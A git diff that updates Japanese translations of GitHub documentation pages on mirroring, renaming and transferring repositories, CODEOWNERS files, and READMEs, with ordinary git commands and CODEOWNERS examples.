+## 別の場所にあるリポジトリをミラーする
 
-If you want to mirror a repository in another location, including getting updates from the original, you can clone a mirror and periodically push the changes.
+元のリポジトリから更新を取得するなど、別の場所にあるリポジトリをミラーする場合は、ミラーをクローンして定期的に変更をプッシュできます。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare mirrored clone of the repository.
+2. リポジトリのミラーしたベアクローンを作成します。
   ```shell
   $ git clone --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>repository-to-mirror</em>.git
   ```
-3. Set the push location to your mirror.
+3. プッシュの場所をミラーに設定します。
   ```shell
   $ cd <em>repository-to-mirror</em>
   $ git remote set-url --push origin https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>mirrored</em>
   ```
-As with a bare clone, a mirrored clone includes all remote branches and tags, but all local references will be overwritten each time you fetch, so it will always be the same as the original repository. Setting the URL for pushes simplifies pushing to your mirror.
+ベアクローンと同様に、ミラーしたクローンにはすべてのリモートブランチとタグが含まれますが、フェッチするたびにすべてのローカルリファレンスが上書きされるため、常に元のリポジトリと同じになります。 プッシュする URL を設定することで、ミラーへのプッシュが簡素化されます。
 
-4. To update your mirror, fetch updates and push.
+4. ミラーを更新するには、更新をフェッチしてプッシュします。
   ```shell
   $ git fetch -p origin
   $ git push --mirror
   ```
-{% ifversion fpt or ghec %} 
-## Further reading
+{% ifversion fpt or ghec %}
+## 参考リンク
 
 * "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github)"
 * "[About Git Large File Storage and GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop)"
-* "[About GitHub Importer](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)"
+* 「[GitHub Importer について](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)」
 
 {% endif %}
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/renaming-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
index c089e88750..cf2c1bfdb9 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/renaming-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming a repository
-intro: You can rename a repository if you're either an organization owner or have admin permissions for the repository.
+title: リポジトリの名前を変更する
+intro: Organization のオーナーであるかリポジトリの管理者権限があれば、リポジトリの名前を変更することができます。
 redirect_from:
   - /articles/renaming-a-repository
   - /github/administering-a-repository/renaming-a-repository
@@ -13,43 +13,43 @@ versions:
 topics:
   - Repositories
 ---
-When you rename a repository, all existing information, with the exception of project site URLs, is automatically redirected to the new name, including:
 
-* Issues
-* Wikis
-* Stars
-* Followers
+リポジトリの名前を変更すると、プロジェクトサイトの URL を除くすべての既存の情報は、下記を含む新しい名前に自動的にリダイレクトされます。
+
+* Issue
+* Wiki
+* Star
+* フォロワー
 
 For more information on project sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)."
 
-In addition to redirecting web traffic, all `git clone`, `git fetch`, or `git push` operations targeting the previous location will continue to function as if made on the new location. However, to reduce confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using  `git remote` on the command line:
+Web トラフィックのリダイレクトに加え、前の場所をターゲットにしたすべての `git clone`、`git fetch`、または `git push` 操作は、引き続き新しい場所に対して行われているように機能します。 ただし、混乱を低減するため、既存のローカルクローンが新しいリポジトリ URL を指すよう更新することを強く推奨します。 これを行うには、コマンドラインで  `git remote` を使用します。
 
 ```shell
-$ git remote set-url origin <em>new_url</em>
+$ git remote set-url origin <em>新しい URL</em>
 ```
 
-For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+詳しい情報については「[リモートリポジトリの管理](/github/getting-started-with-github/managing-remote-repositories)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-If you plan to rename a repository that has a {% data variables.product.prodname_pages %} site, we recommend using a custom domain for your site. This ensures that the site's URL isn't impacted by renaming the repository. For more information, see "[About custom domains and {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages)." 
+{% data variables.product.prodname_pages %}サイトを持つリポジトリの名前を変更する場合は、サイトにカスタムドメインを使用することをお勧めします。 これにより、リポジトリの名前を変更してもサイトの URL は影響を受けません。 詳細は「[カスタムドメインおよび{% data variables.product.prodname_pages %}サイトについて](/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages)」を参照してください。
 
 {% endif %}
 
 {% tip %}
 
-**Tip:** {% data reusables.organizations.owners-and-admins-can %} rename a repository. {% data reusables.organizations.new-repo-permissions-more-info %}
+**ヒント:** {% data reusables.organizations.owners-and-admins-can %}リポジトリの名前を変更できます。 {% data reusables.organizations.new-repo-permissions-more-info %}
 
 {% endtip %}
 
 {% warning %}
 
-**Warning**: If you create a new repository under your account in the future, do not reuse the original name of the renamed repository. If you do, redirects to the renamed repository will break.
+**警告**: 将来的にアカウントで新しいリポジトリを作成する場合、名前変更したリポジトリの元の名前を再利用しないでください。 再利用した場合、名前変更したリポジトリへのリダイレクトが切断されます。
 
 {% endwarning %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under the **Repository Name** heading, type the new name of your repository.
-   ![Repository rename](/assets/images/help/repository/repository-name-change.png)
-4. Click **Rename**. You're done!
+3. [**Repository Name**] の下で、リポジトリの新しい名前を入力します。 ![リポジトリの名前の変更](/assets/images/help/repository/repository-name-change.png)
+4. [**Rename**] をクリックします。 これで完了です。
diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
index 82edf7150d..e2ac666df2 100644
--- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
+++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring a repository
-intro: You can transfer repositories to other users or organization accounts.
+title: リポジトリを移譲する
+intro: 他のユーザや Organization アカウントにリポジトリを移譲できます。
 redirect_from:
   - /articles/about-repository-transfers
   - /move-a-repo
@@ -22,60 +22,61 @@ versions:
 topics:
   - Repositories
 ---
-## About repository transfers
 
-When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings.
+## リポジトリの移譲について
 
-Prerequisites for repository transfers: 
-- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %}
-- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization.
-- The target account must not have a repository with the same name, or a fork in the same network.
-- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
+リポジトリを新たなオーナーに移譲すると、そのオーナーはすぐにリポジトリの内容、Issue、プルリクエスト、リリース、プロジェクトボード、そして設定を管理できるようになります。
+
+Prerequisites for repository transfers:
+- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. 新しいオーナーが移譲を 1 日以内に受け入れなければ、招待は期限切れになります。{% endif %}
+- 自分が所有しているリポジトリを Organization に移譲するには、対象 Organization のリポジトリを作成する権限が必要です。
+- ターゲットのアカウントは、同じ名前のリポジトリを持っていたり、同じネットワーク内にフォークを持っていたりしてはなりません。
+- リポジトリのオリジナルのオーナーは、移譲されたリポジトリにコラボレーターとして追加されます。 Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
 - Internal repositories can't be transferred.{% endif %}
-- Private forks can't be transferred.
+- プライベートフォークは移譲できません。
 
-{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
+{% ifversion fpt or ghec %}プライベートリポジトリを {% data variables.product.prodname_free_user %} ユーザまたは Organization アカウントに移譲すると、リポジトリは保護されたブランチや {% data variables.product.prodname_pages %} などの機能にアクセスできなくなります。 {% data reusables.gated-features.more-info %}{% endif %}
 
-### What's transferred with a repository?
+### リポジトリと共に移譲されるものは？
 
-When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition:
+リポジトリを移譲すると、その Issue、プルリクエスト、ウィキ、Star、そして Watch しているユーザも移譲されます。 移譲されたリポジトリに webhook、サービス、シークレット、あるいはデプロイキーが含まれている場合、移譲が完了した後もそれらは関連付けられたままになります。 コミットに関する Git の情報は、コントリビューションを含めて保持されます。 加えて、
 
-- If the transferred repository is a fork, then it remains associated with the upstream repository.
-- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete.
-- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %}
-- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed.
-- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository.
-- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line:
+- 移譲されたリポジトリがフォークである場合、それは上流のリポジトリに関連付けられたままになります。
+- 移譲されたリポジトリにフォークがある場合、それらのフォークは移譲が完了した後リポジトリに関連付けられたままになります。
+- 移譲されたリポジトリが {% data variables.large_files.product_name_long %} を使う場合、すべての {% data variables.large_files.product_name_short %} オブジェクトは自動的に移動します。 This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. ユーザアカウントにストレージを追加する方法の詳細については、「[{% data variables.large_files.product_name_long %} をアップグレードする](/articles/upgrading-git-large-file-storage)」を参照してください。{% endif %}
+- リポジトリを 2 つのユーザアカウント間で移譲する場合、Issue の割り当てはそのまま残ります。 ユーザアカウントから Organization にリポジトリを移譲する場合、Organization のメンバーにアサインされた Issue はそのまま残ります。そして、すべての他の Issue のアサイニーは消えます。 Organization の中のオーナーだけが、新しい Issue のアサインを作成できます。 Organization からユーザアカウントにリポジトリを移譲する場合、リポジトリのオーナーにアサインされた Issue だけが保管され、すべての他のアサイニーは削除されます。
+- 移譲されたリポジトリが {% data variables.product.prodname_pages %} サイトを含む場合、Web 上の Git リポジトリへのリンクや Git のアクティビティを通じたリンクはリダイレクトされます。 しかし、リポジトリに関連付けられている {% data variables.product.prodname_pages %} はリダイレクトされません。
+- 以前のリポジトリの場所へのすべてのリンクは、新しい場所へ自動的にリダイレクトされます。 移譲されたリポジトリ上で `git clone`、`git fetch`、または `git push` を使う場合には、これらのコマンドは新しいリポジトリの場所あるいは URL にリダイレクトされます。 しかし、混乱を避けるため、既存のローカルクローンは新しいリポジトリの URL を指すよう更新することを強くおすすめします。 それは `git remote` をコマンドライン上で使って行えます。
 
   ```shell
-  $ git remote set-url origin <em>new_url</em>
+  $ git remote set-url origin <em>新しい URL</em>
   ```
 
 - When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+詳しい情報については「[リモートリポジトリの管理](/github/getting-started-with-github/managing-remote-repositories)」を参照してください。
 
-### Repository transfers and organizations
+### リポジトリの移譲および Organization
 
-To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization.
+Organization にリポジトリを移譲するには、受け取る Organization でのリポジトリ作成許可を持っている必要があります。 Organization のオーナーが Organization のメンバーによるリポジトリ作成を無効化している場合、Organization のオーナーだけが、その Organization に対して、または、Organization からリポジトリを移譲できます。
 
-Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository.
+Organization にリポジトリが移譲されたら、Organization のデフォルトのリポジトリ許可設定およびデフォルトのメンバーシップの権利が、移譲されたリポジトリに適用されます。
 
-## Transferring a repository owned by your user account
+## ユーザアカウントが所有しているリポジトリを移譲する
 
-You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository.
+リポジトリの移譲を受け入れるどのユーザアカウントにも、リポジトリを移譲できます。 ２つのユーザアカウントの間でリポジトリを移譲した場合、当初のリポジトリコードオーナーとコラボレーターは、新しいリポジトリにコラボレーターとして自動的に追加されます。
 
-{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
 
-## Transferring a repository owned by your organization
+## Organization が所有しているリポジトリを移譲する
 
-If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization.
+Organization のコードオーナー権限、または、そのリポジトリの 1 つの管理者権限を有している場合、Organization が所有しているリポジトリをユーザアカウントや他の Organization に移譲できます。
 
-1. Sign into your user account that has admin or owner permissions in the organization that owns the repository.
+1. リポジトリのある Organization で管理者またはオーナー権限を有しているユーザアカウントにサインインします。
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
index d5d45325ef..54e3a371fa 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md
@@ -1,6 +1,6 @@
 ---
-title: About code owners
-intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository.
+title: コードオーナーについて
+intro: CODEOWNERS ファイルを使い、リポジトリ中のコードに対して責任を負う個人あるいは Team を指定できます。
 redirect_from:
   - /articles/about-codeowners
   - /articles/about-code-owners
@@ -15,61 +15,62 @@ versions:
 topics:
   - Repositories
 ---
-People with admin or owner permissions can set up a CODEOWNERS file in a repository.
 
-The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership.
+管理者あるいはオーナー権限を持つ人は、リポジトリ中に CODEOWNERS ファイルをセットアップできます。
 
-## About code owners
+コードオーナーに指定する人は、リポジトリへの書き込み権限を持っていなければなりません。 When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership.
 
-Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)."
+## コードオーナーについて
 
-When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)."
+コードオーナーは、他者が所有するコードを変更するプルリクエストをオープンすると、自動的にレビューをリクエストされます。 コードオーナーはドラフトのプルリクエストのレビューを自動的にリクエストされません。 ドラフトのプルリクエストに関する詳しい情報については「[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)」を参照してください。 コードオーナーはドラフトのプルリクエストのレビューを自動的にリクエストされません。 プルリクエストをドラフトに変換する場合、通知を既にサブスクライブしているユーザは自動的にサブスクライブ解除されません。 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)」を参照してください。
 
-If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}.
+管理者あるいはオーナー権限を持つ誰かがレビュー必須を有効化した場合、作者がリポジトリ中でプルリクエストをマージできるための条件としてコードオーナーからの承認を必須とすることもできます。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)を参照してください。
 
-![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png)
+ファイルにコードオーナーがいる場合、プルリクエストをオープンする前にコードオーナーを確認できます。 リポジトリで、ファイルを参照して {% octicon "shield-lock" aria-label="The edit icon" %} にカーソルを合わせることができます。
 
-## CODEOWNERS file location
+![リポジトリ内のファイルのコードオーナー](/assets/images/help/repository/code-owner-for-a-file.png)
 
-To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners.
+## CODEOWNERSファイルの場所
 
-Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch.
+CODEOWNERS ファイルを使うためには、コードオーナーを追加したいブランチで、リポジトリのルート、`docs/`、`.github/` のいずれかのディレクトリに `CODEOWNERS` という新しいファイルを作成してください。
 
-For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`.
+各CODEOWNERSファイルは、リポジトリ内の単一のブランチにコードオーナーを割り当てます。 したがって、デフォルトブランチのコードベースに `@octo-org/codeowners-team`、`gh-pages` ブランチの {% data variables.product.prodname_pages %} サイトに `@octocat` など、ブランチごとに異なるコードオーナーを割り当てることができます。
+
+コードオーナーがレビューのリクエストを受け取るためには、CODEOWNERS ファイルがプルリクエストの base ブランチになければなりません。 たとえばリポジトリ中の`gh-pages`ブランチの、*.js*ファイルのコードオーナーとして`@octocat`を割り当てたなら、*.js*に変更を加えるプルリクエストがheadブランチと`gh-pages`の間でオープンされると、`@octocat`はレビューのリクエストを受けることになります。
 
 {% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %}
 ## CODEOWNERS file size
 
 CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request.
 
-To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. 
+To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry.
 {% endif %}
 
-## CODEOWNERS syntax
+## CODEOWNERSの構文
 
-A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files, with [some exceptions](#syntax-exceptions). The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`.
+CODEOWNERS ファイルは、[一部の例外](#syntax-exceptions)を除いて、[gitignore](https://git-scm.com/docs/gitignore#_pattern_format) ファイルで使用されるルールのほとんどに従うパターンを使用します。 パターンの後には1つ以上の{% data variables.product.prodname_dotcom %}のユーザー名あるいはTeam名が続きます。これらの名前には標準の`@username`あるいは`@org/team-name`フォーマットが使われます。 Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`.
 
-If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews.
-### Example of a CODEOWNERS file
+CODEOWNERS ファイルのいずれかの行に無効な構文が含まれている場合、そのファイルは検出されず、レビューのリクエストには使用されません。
+### CODEOWNERS ファイルの例
 ```
-# This is a comment.
-# Each line is a file pattern followed by one or more owners.
+# これはコメントです。
+# 各行はファイルパターンの後に一人以上のオーナーが続きます。
 
-# These owners will be the default owners for everything in
-# the repo. Unless a later match takes precedence,
-# @global-owner1 and @global-owner2 will be requested for
-# review when someone opens a pull request.
+# これらのオーナーは、リポジトリ中のすべてに対する
+# デフォルトのオーナーになります。 後のマッチが優先されないかぎり、
+# 誰かがプルリクエストをオープンすると、
+# @global-owner1と@global-owner2にはレビューがリクエストされます。
 *       @global-owner1 @global-owner2
 
-# Order is important; the last matching pattern takes the most
-# precedence. When someone opens a pull request that only
-# modifies JS files, only @js-owner and not the global
-# owner(s) will be requested for a review.
+# 順序は重要です。最後にマッチしたパターンが最も
+# 高い優先度を持ちます。 誰かがJSファイルだけを変更する
+# プルリクエストをオープンすると、@js-ownerだけにレビューが
+# リクエストされ、グローバルのオーナーにはリクエストされません。
 *.js    @js-owner
 
-# You can also use email addresses if you prefer. They'll be
-# used to look up users just like we do for commit author
-# emails.
+# メールアドレスの方が良ければ、そちらを使うこともできます。 それらは
+# コミット作者のメールの場合と同じようにユーザの
+# ルックアップに使われます。
 *.go docs@example.com
 
 # Teams can be specified as code owners as well. Teams should
@@ -83,18 +84,18 @@ If any line in your CODEOWNERS file contains invalid syntax, the file will not b
 # subdirectories.
 /build/logs/ @doctocat
 
-# The `docs/*` pattern will match files like
-# `docs/getting-started.md` but not further nested files like
-# `docs/build-app/troubleshooting.md`.
+# `docs/*`パターンは`docs/getting-started.md`のようなファイルには
+# マッチしますが、それ以上にネストしている
+# `docs/build-app/troubleshooting.md`のようなファイルにはマッチしません。
 docs/*  docs@example.com
 
-# In this example, @octocat owns any file in an apps directory
-# anywhere in your repository.
+# この例では、@octocatはリポジトリ中のあらゆる場所にある
+# appsディレクトリ内のすべてのファイルのオーナーになります。
 apps/ @octocat
 
-# In this example, @doctocat owns any file in the `/docs`
-# directory in the root of your repository and any of its
-# subdirectories.
+# この例では、@doctocatはリポジトリのルートにある
+# `/docs` ディレクトリとそのサブディレクトリにある
+# ファイルを所有しています。
 /docs/ @doctocat
 
 # In this example, @octocat owns any file in the `/apps` 
@@ -103,16 +104,16 @@ apps/ @octocat
 /apps/ @octocat
 /apps/github 
 ```
-### Syntax exceptions
-There are some syntax rules for gitignore files that do not work in CODEOWNERS files:
+### 構文の例外
+gitignore ファイルには、CODEOWNERS ファイルでは動作しないいくつかの構文ルールがあります。
 - Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment
-- Using `!` to negate a pattern
-- Using `[ ]` to define a character range
+- `!` を使用してパターンを否定する
+- `[ ]` を使用して文字範囲を定義する
 
 ## CODEOWNERS and branch protection
-Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." 
+Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. 詳しい情報については、「[保護されたブランチについて](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)」を参照してください。
 
-### Example of a CODEOWNERS file
+### CODEOWNERS ファイルの例
 ```
 # In this example, any change inside the `/apps` directory
 # will require approval from @doctocat.
@@ -128,10 +129,10 @@ Repository owners can add branch protection rules to ensure that changed code is
 ```
 
 
-## Further reading
+## 参考リンク
 
-- "[Creating new files](/articles/creating-new-files)"
-- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
-- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)"
+- [新しいファイルの作成](/articles/creating-new-files)
+- [個人リポジトリへのコラボレータの招待](/articles/inviting-collaborators-to-a-personal-repository)
+- [Organizationのリポジトリへの個人のアクセスの管理](/articles/managing-an-individual-s-access-to-an-organization-repository)
+- [OrganizationのリポジトリへのTeamのアクセスの管理](/articles/managing-team-access-to-an-organization-repository)
+- [プルリクエストレビューの表示](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)
diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
index bd1c73488f..cc0c4b905d 100644
--- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
+++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md
@@ -1,6 +1,6 @@
 ---
-title: About READMEs
-intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.'
+title: READMEについて
+intro: リポジトリにREADMEファイルを追加して、そのプロジェクトがなぜ有益なのか、そのプロジェクトで何ができるか、そのプロジェクトをどのように使えるかを他者に伝えることができます。
 redirect_from:
   - /articles/section-links-on-readmes-and-blob-pages
   - /articles/relative-links-in-readmes
@@ -15,22 +15,23 @@ versions:
 topics:
   - Repositories
 ---
-## About READMEs
 
-You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
+## READMEについて
 
-For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)."
+README ファイルをリポジトリに追加して、プロジェクトに関する重要な情報を伝えることができます。 A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions.
 
-A README is often the first item a visitor will see when visiting your repository. README files typically include information on:
-- What the project does
-- Why the project is useful
-- How users can get started with the project
-- Where users can get help with your project
-- Who maintains and contributes to the project
+プロジェクトのガイドラインの提供方法の詳細については、{% ifversion fpt or ghec %}「[プロジェクトに行動規範を追加する](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)」および {% endif %}「[健全なコントリビューションのためのプロジェクトの設定](/communities/setting-up-your-project-for-healthy-contributions)」を参照してください。
 
-If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors.
+多くの場合、READMEはリポジトリへの訪問者が最初に目にするアイテムです。 通常、README ファイルには以下の情報が含まれています:
+- このプロジェクトが行うこと
+- このプロジェクトが有益な理由
+- このプロジェクトの使い始め方
+- このプロジェクトに関するヘルプをどこで得るか
+- このプロジェクトのメンテナンス者とコントリビューター
 
-![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png)
